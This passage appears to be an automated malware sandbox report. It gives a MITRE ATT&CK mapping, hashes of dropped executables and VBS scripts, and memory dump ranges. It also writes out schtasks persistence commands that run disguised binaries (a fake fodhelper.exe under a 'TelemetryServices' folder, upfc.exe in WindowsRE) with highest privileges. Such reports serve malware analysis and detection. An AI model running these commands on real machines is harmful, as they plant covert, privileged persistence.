- Creates scheduled task(s)
PID:1472

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2632

C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
1⤵
- Executes dropped EXE
PID:1988

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
2⤵
- Creates scheduled task(s)
PID:1880

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
e243a38635ff9a06c87c2a61a2200656

SHA1
ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc

SHA256
af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f

SHA512
4418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
e243a38635ff9a06c87c2a61a2200656

SHA1
ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc

SHA256
af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f

SHA512
4418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
e8ce785f8ccc6d202d56fefc59764945

SHA1
ca032c62ddc5e0f26d84eff9895eb87f14e15960

SHA256
d85c19fc6b9d25e2168a2cc50ff38bd226fbf4f02aa7ac038a5f319522d2ffa4

SHA512
66460aec4afee582556270f8ee6048d130a090f1c12a2632ed71a99a4073e9931e9e1cc286e32debffb95a90bd955f0f0d6ec891b1c5cd2f0aae41eb6d25832f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
ecceac16628651c18879d836acfcb062

SHA1
420502b3e5220a01586c59504e94aa1ee11982c9

SHA256
58238de09a8817ed9f894ed8e5bf06a897fd08e0b0bd77e508d37b2598edd2a9

SHA512
be3c7cb529cafb00f58790a6f8b35c4ff6db9f7f43a507d2218fd80cebc88413e46f71b1bc35b8afcc36b68f9409c946470d1e74a4fe225400eeb6f3f898f5b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
ecceac16628651c18879d836acfcb062

SHA1
420502b3e5220a01586c59504e94aa1ee11982c9

SHA256
58238de09a8817ed9f894ed8e5bf06a897fd08e0b0bd77e508d37b2598edd2a9

SHA512
be3c7cb529cafb00f58790a6f8b35c4ff6db9f7f43a507d2218fd80cebc88413e46f71b1bc35b8afcc36b68f9409c946470d1e74a4fe225400eeb6f3f898f5b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
ecceac16628651c18879d836acfcb062

SHA1
420502b3e5220a01586c59504e94aa1ee11982c9

SHA256
58238de09a8817ed9f894ed8e5bf06a897fd08e0b0bd77e508d37b2598edd2a9

SHA512
be3c7cb529cafb00f58790a6f8b35c4ff6db9f7f43a507d2218fd80cebc88413e46f71b1bc35b8afcc36b68f9409c946470d1e74a4fe225400eeb6f3f898f5b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
ecceac16628651c18879d836acfcb062

SHA1
420502b3e5220a01586c59504e94aa1ee11982c9

SHA256
58238de09a8817ed9f894ed8e5bf06a897fd08e0b0bd77e508d37b2598edd2a9

SHA512
be3c7cb529cafb00f58790a6f8b35c4ff6db9f7f43a507d2218fd80cebc88413e46f71b1bc35b8afcc36b68f9409c946470d1e74a4fe225400eeb6f3f898f5b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
17fbfbe3f04595e251287a6bfcdc35de

SHA1
b576aabfd5e6d5799d487011506ed1ae70688987

SHA256
2e61ae727ca01496c9418a65777d6d7e05a85cbdb6b3a19516857442e5bd2da0

SHA512
449c68512d90a17f598e9dacfd6230e6e97bc6bfaaf2b06f3b91b370ece92e2322b81ee3721e288880fa1f05470156e519256e3f03d786c3b28a39788f5e0ad6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
61e06aa7c42c7b2a752516bcbb242cc1

SHA1
02c54f8b171ef48cad21819c20b360448418a068

SHA256
5bb0254e8f0220caab64dcc785f432820350471bfcdcb98240c3e0e71a709f5d

SHA512
03731f49999ec895370100a4dfeee674bbe5baa50d82007256e6914c323412eef8936b320d2738774758fbbfd76d4c3d391d9e144e65587eba700d98d0362346

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
61e06aa7c42c7b2a752516bcbb242cc1

SHA1
02c54f8b171ef48cad21819c20b360448418a068

SHA256
5bb0254e8f0220caab64dcc785f432820350471bfcdcb98240c3e0e71a709f5d

SHA512
03731f49999ec895370100a4dfeee674bbe5baa50d82007256e6914c323412eef8936b320d2738774758fbbfd76d4c3d391d9e144e65587eba700d98d0362346

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
61e06aa7c42c7b2a752516bcbb242cc1

SHA1
02c54f8b171ef48cad21819c20b360448418a068

SHA256
5bb0254e8f0220caab64dcc785f432820350471bfcdcb98240c3e0e71a709f5d

SHA512
03731f49999ec895370100a4dfeee674bbe5baa50d82007256e6914c323412eef8936b320d2738774758fbbfd76d4c3d391d9e144e65587eba700d98d0362346

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
c6c940df49fc678d1c74fea3c57a32f9

SHA1
79edd715358a82e6d29970998ff2e9b235ea4217

SHA256
4e50925adb70141467a7081cc905c76fd6dab841195400683f9f67fc2602aa0a

SHA512
3c1df9c18f1756ead841f68916dec03a066078b0705443d3f886fd990e2e42ebbffd46916be3f6fe39ea0505fc2c848fbdea56828fbd5aa5f24b329f8d979707

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
61e06aa7c42c7b2a752516bcbb242cc1

SHA1
02c54f8b171ef48cad21819c20b360448418a068

SHA256
5bb0254e8f0220caab64dcc785f432820350471bfcdcb98240c3e0e71a709f5d

SHA512
03731f49999ec895370100a4dfeee674bbe5baa50d82007256e6914c323412eef8936b320d2738774758fbbfd76d4c3d391d9e144e65587eba700d98d0362346

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
61e06aa7c42c7b2a752516bcbb242cc1

SHA1
02c54f8b171ef48cad21819c20b360448418a068

SHA256
5bb0254e8f0220caab64dcc785f432820350471bfcdcb98240c3e0e71a709f5d

SHA512
03731f49999ec895370100a4dfeee674bbe5baa50d82007256e6914c323412eef8936b320d2738774758fbbfd76d4c3d391d9e144e65587eba700d98d0362346

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
4165c906a376e655973cef247b5128f1

SHA1
c6299b6ab8b2db841900de376e9c4d676d61131e

SHA256
fb0b3c822d300abbb892e6f218d6b4b62b80bb26d9184d1f4c731600053a3fc4

SHA512
15783f2d3687388339c06423bd18c17a5704cd367bf1a1d08e436088984c0b5c52dc88d3b8455495a8051ba9f977aae34b69453e5ee252d928e74dcdebd4a11a

Download Submit
C:\Users\Admin\AppData\Local\Temp\381a8b94-7a40-4dbc-8f4c-a019438f4876.vbs
Filesize
704B

MD5
1c8d7ff3ce12b140f2b9f45b14756f9a

SHA1
69255dd71d1abd02e3e9ccea44cc27e9c2b41087

SHA256
cd6c85aa0995227cf8ef312a19c7759988d7530860b1e9bf17d3298c0bcab11d

SHA512
c635dc47d41345d32acebdf838e82a163354310511424571f97b4b9f943df360ad035dba19750ab43454192f317face2b1d2552be7990980126735dceed444d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Updater.exe
Filesize
7.4MB

MD5
9b43fcdf5d68242b0001fd57b5b11681

SHA1
169c73fd4a1fa01335afc67c6157162dbcb121c4

SHA256
71fce5eafea9e42cd6ab57045ad397bfdb7dfb008277b87345bec8519d479078

SHA512
440a45dd43ef31bd6936888782589d184803c53859c41e5517bbf9531f696cb5da34c39560555ff6b29bbc1b8d057295e4f810267593fc4143f0ebe70d4a5f47

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Updater.exe
Filesize
7.4MB

MD5
9b43fcdf5d68242b0001fd57b5b11681

SHA1
169c73fd4a1fa01335afc67c6157162dbcb121c4

SHA256
71fce5eafea9e42cd6ab57045ad397bfdb7dfb008277b87345bec8519d479078

SHA512
440a45dd43ef31bd6936888782589d184803c53859c41e5517bbf9531f696cb5da34c39560555ff6b29bbc1b8d057295e4f810267593fc4143f0ebe70d4a5f47

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Filesize
1.5MB

MD5
a82fcd32e99a85933e2ccdbfc5eaee43

SHA1
e8610f2eae73460a51304ef02f622dc063b2bff0

SHA256
0edf5fbcca983bcdbf3c981913c518fe5afa2fe39227d19d885fb650e9e90bc5

SHA512
8874c8914e6acee42a8b37e5a76ac6bcaa3e11313d48691c1d069f07940fed3726b9a86eeaf2261c5c305c16180e0508b40673c46ef21271dee6616be2214d52

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Filesize
1.5MB

MD5
a82fcd32e99a85933e2ccdbfc5eaee43

SHA1
e8610f2eae73460a51304ef02f622dc063b2bff0

SHA256
0edf5fbcca983bcdbf3c981913c518fe5afa2fe39227d19d885fb650e9e90bc5

SHA512
8874c8914e6acee42a8b37e5a76ac6bcaa3e11313d48691c1d069f07940fed3726b9a86eeaf2261c5c305c16180e0508b40673c46ef21271dee6616be2214d52

Download Submit
C:\Users\Admin\AppData\Local\Temp\c6268287-8663-4d4a-aed0-2058a63a41f2.vbs
Filesize
480B

MD5
02d6cb78ca40cb3046ef7ae5fe161579

SHA1
0711b0214063a42e20d8a45b0380c0204c8b44ad

SHA256
67900fa373b75fb7a539278d3874c69bcf7bf4a8139461612b17d6918b229af9

SHA512
d245a7acf48ca3402cd3b4cfc363bcddb4c7ef99ef0c26c7df4d52f74d4dd9a799297cc7d2ab73de676ee3d1498d31a7949b76ecb3d2f23782b4cfba269b9dfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\new1.exe
Filesize
1.4MB

MD5
ecda9264fc1d959ffe35dc9accdd435a

SHA1
72d7caf672d8b7ef901df21cee98b05a3290ac72

SHA256
43590720dd2ae12f9fd462c5b4ef008a7e4795d12262e7d8f39006315c785321

SHA512
4a6cb551db4d3f9f1ec334914d025f931a3b672e498bae72c18a7ed9aa83043e21bad7b0949f5fe8ad184b098be7fd5addcd5fb2fdbbfc535d5be2ac0164411e

Download Submit
C:\Users\Admin\AppData\Local\Temp\new1.exe
Filesize
1.4MB

MD5
ecda9264fc1d959ffe35dc9accdd435a

SHA1
72d7caf672d8b7ef901df21cee98b05a3290ac72

SHA256
43590720dd2ae12f9fd462c5b4ef008a7e4795d12262e7d8f39006315c785321

SHA512
4a6cb551db4d3f9f1ec334914d025f931a3b672e498bae72c18a7ed9aa83043e21bad7b0949f5fe8ad184b098be7fd5addcd5fb2fdbbfc535d5be2ac0164411e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
Filesize
1.5MB

MD5
a82fcd32e99a85933e2ccdbfc5eaee43

SHA1
e8610f2eae73460a51304ef02f622dc063b2bff0

SHA256
0edf5fbcca983bcdbf3c981913c518fe5afa2fe39227d19d885fb650e9e90bc5

SHA512
8874c8914e6acee42a8b37e5a76ac6bcaa3e11313d48691c1d069f07940fed3726b9a86eeaf2261c5c305c16180e0508b40673c46ef21271dee6616be2214d52

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
Filesize
1.5MB

MD5
a82fcd32e99a85933e2ccdbfc5eaee43

SHA1
e8610f2eae73460a51304ef02f622dc063b2bff0

SHA256
0edf5fbcca983bcdbf3c981913c518fe5afa2fe39227d19d885fb650e9e90bc5

SHA512
8874c8914e6acee42a8b37e5a76ac6bcaa3e11313d48691c1d069f07940fed3726b9a86eeaf2261c5c305c16180e0508b40673c46ef21271dee6616be2214d52

Download Submit
C:\Windows\Tasks\dllhost.exe
Filesize
1.4MB

MD5
5d66bae46d9759662f2309dc9bb8d2cc

SHA1
bd553872c196f31bc879555ae9f68dca5a337ba7

SHA256
47914fa6b0464f1a14c06792e85ce1ba4620b950a1dfb5168d097fda39b8a6fe

SHA512
18f49104b2de5cae32e90d43eab28ed37a5dcb5a661ce3fa57b52555009f3fd88683d711c631420acd01d1a24dafee94539c6143e185f7ecbb6d7646fbd5e3c1

Download Submit
C:\Windows\Tasks\dllhost.exe
Filesize
1.4MB

MD5
5d66bae46d9759662f2309dc9bb8d2cc

SHA1
bd553872c196f31bc879555ae9f68dca5a337ba7

SHA256
47914fa6b0464f1a14c06792e85ce1ba4620b950a1dfb5168d097fda39b8a6fe

SHA512
18f49104b2de5cae32e90d43eab28ed37a5dcb5a661ce3fa57b52555009f3fd88683d711c631420acd01d1a24dafee94539c6143e185f7ecbb6d7646fbd5e3c1

Download Submit
memory/480-269-0x0000000000000000-mapping.dmp

Download
memory/668-167-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/668-142-0x0000000000000000-mapping.dmp

Download
memory/668-194-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/980-267-0x0000000000000000-mapping.dmp

Download
memory/1116-265-0x0000000000000000-mapping.dmp

Download
memory/1132-264-0x0000000000000000-mapping.dmp

Download
memory/1148-262-0x0000000000000000-mapping.dmp

Download
memory/1220-255-0x0000000000000000-mapping.dmp

Download
memory/1332-172-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1332-151-0x0000000000000000-mapping.dmp

Download
memory/1332-219-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1484-221-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1484-155-0x0000000000000000-mapping.dmp

Download
memory/1484-174-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1564-284-0x0000000000000000-mapping.dmp

Download
memory/1812-287-0x0000000000000000-mapping.dmp

Download
memory/1824-198-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1824-140-0x0000000000000000-mapping.dmp

Download
memory/1824-165-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1856-179-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1856-154-0x0000000000000000-mapping.dmp

Download
memory/1856-214-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1880-305-0x0000000000000000-mapping.dmp

Download
memory/1988-303-0x0000000002900000-0x0000000002906000-memory.dmp

Filesize
24KB

Download
memory/2248-136-0x0000000000000000-mapping.dmp

Download
memory/2248-152-0x0000025DA7560000-0x0000025DA7582000-memory.dmp

Filesize
136KB

Download
memory/2248-184-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/2248-156-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/2268-271-0x0000000000000000-mapping.dmp

Download
memory/2484-275-0x0000000000000000-mapping.dmp

Download
memory/2504-277-0x0000000000000000-mapping.dmp

Download
memory/2516-296-0x0000000000000000-mapping.dmp

Download
memory/2556-290-0x0000000000000000-mapping.dmp

Download
memory/2604-276-0x0000000000000000-mapping.dmp

Download
memory/2852-215-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/2852-147-0x0000000000000000-mapping.dmp

Download
memory/2852-177-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/2860-175-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/2860-159-0x0000000000000000-mapping.dmp

Download
memory/2860-222-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/2892-192-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/2892-158-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/2892-137-0x0000000000000000-mapping.dmp

Download
memory/2956-146-0x0000000000000000-mapping.dmp

Download
memory/2980-164-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/2980-134-0x0000000002F90000-0x0000000002FE0000-memory.dmp

Filesize
320KB

Download
memory/2980-132-0x0000000000DF0000-0x0000000000F52000-memory.dmp

Filesize
1.4MB

Download
memory/2980-133-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/3044-294-0x000000000F300000-0x000000000F306000-memory.dmp

Filesize
24KB

Download
memory/3044-292-0x000000000F310000-0x000000000F370000-memory.dmp

Filesize
384KB

Download
memory/3044-232-0x0000000000000000-mapping.dmp

Download
memory/3172-282-0x0000000000000000-mapping.dmp

Download
memory/3384-150-0x0000000000000000-mapping.dmp

Download
memory/3384-216-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/3384-178-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/3520-230-0x0000000000400000-0x0000000001117000-memory.dmp

Filesize
13.1MB

Download
memory/3520-226-0x0000000000000000-mapping.dmp

Download
memory/3524-272-0x0000000000000000-mapping.dmp

Download
memory/3660-203-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/3660-169-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/3660-144-0x0000000000000000-mapping.dmp

Download
memory/3740-141-0x0000000000000000-mapping.dmp

Download
memory/3740-199-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/3740-166-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4008-285-0x0000000000000000-mapping.dmp

Download
memory/4088-143-0x0000000000000000-mapping.dmp

Download
memory/4088-205-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4088-168-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4128-263-0x0000000000000000-mapping.dmp

Download
memory/4212-157-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4212-135-0x0000000000000000-mapping.dmp

Download
memory/4212-187-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4260-283-0x0000000000000000-mapping.dmp

Download
memory/4272-171-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4272-217-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4272-149-0x0000000000000000-mapping.dmp

Download
memory/4316-173-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4316-209-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4316-153-0x0000000000000000-mapping.dmp

Download
memory/4320-207-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4320-145-0x0000000000000000-mapping.dmp

Download
memory/4320-176-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4408-286-0x0000000000000000-mapping.dmp

Download
memory/4456-195-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4456-163-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4456-139-0x0000000000000000-mapping.dmp

Download
memory/4652-190-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4652-138-0x0000000000000000-mapping.dmp

Download
memory/4652-160-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4856-170-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/4856-148-0x0000000000000000-mapping.dmp

Download
memory/4856-210-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/5080-273-0x0000000000000000-mapping.dmp

Download
memory/5096-289-0x0000000000000000-mapping.dmp

Download
memory/5484-270-0x0000000000000000-mapping.dmp

Download
memory/5544-281-0x0000000000000000-mapping.dmp

Download
memory/5560-288-0x0000000000000000-mapping.dmp

Download
memory/5592-274-0x0000000000000000-mapping.dmp

Download
memory/5636-280-0x0000000000000000-mapping.dmp

Download
memory/5748-180-0x0000000000000000-mapping.dmp

Download
memory/5780-181-0x0000000000000000-mapping.dmp

Download
memory/5884-242-0x0000000010360000-0x0000000010370000-memory.dmp

Filesize
64KB

Download
memory/5884-243-0x0000000005710000-0x000000000574C000-memory.dmp

Filesize
240KB

Download
memory/5884-244-0x00000000023A1000-0x00000000029D6000-memory.dmp

Filesize
6.2MB

Download
memory/5884-223-0x0000000000000000-mapping.dmp

Download
memory/5884-229-0x00000000023A1000-0x00000000029D6000-memory.dmp

Filesize
6.2MB

Download
memory/5884-235-0x00000000021C8000-0x0000000002302000-memory.dmp

Filesize
1.2MB

Download
memory/5884-236-0x0000000010370000-0x00000000104A5000-memory.dmp

Filesize
1.2MB

Download
memory/5884-237-0x0000000010370000-0x00000000104A5000-memory.dmp

Filesize
1.2MB

Download
memory/5884-238-0x0000000010360000-0x0000000010370000-memory.dmp

Filesize
64KB

Download
memory/5884-241-0x0000000005600000-0x000000000570A000-memory.dmp

Filesize
1.0MB

Download
memory/5884-239-0x0000000004FE0000-0x00000000055F8000-memory.dmp

Filesize
6.1MB

Download
memory/5884-240-0x0000000004F90000-0x0000000004FA2000-memory.dmp

Filesize
72KB

Download
memory/5884-254-0x0000000010370000-0x00000000104A5000-memory.dmp

Filesize
1.2MB

Download
memory/5884-253-0x0000000006D10000-0x0000000006D60000-memory.dmp

Filesize
320KB

Download
memory/5884-252-0x00000000066E0000-0x0000000006C0C000-memory.dmp

Filesize
5.2MB

Download
memory/5884-251-0x0000000006510000-0x00000000066D2000-memory.dmp

Filesize
1.8MB

Download
memory/5884-250-0x0000000006450000-0x00000000064B6000-memory.dmp

Filesize
408KB

Download
memory/5884-249-0x00000000021C8000-0x0000000002302000-memory.dmp

Filesize
1.2MB

Download
memory/5884-248-0x00000000061C0000-0x00000000061DE000-memory.dmp

Filesize
120KB

Download
memory/5884-247-0x00000000060F0000-0x0000000006166000-memory.dmp

Filesize
472KB

Download
memory/5884-246-0x0000000005FB0000-0x0000000006042000-memory.dmp

Filesize
584KB

Download
memory/5884-245-0x00000000059F0000-0x0000000005F94000-memory.dmp

Filesize
5.6MB

Download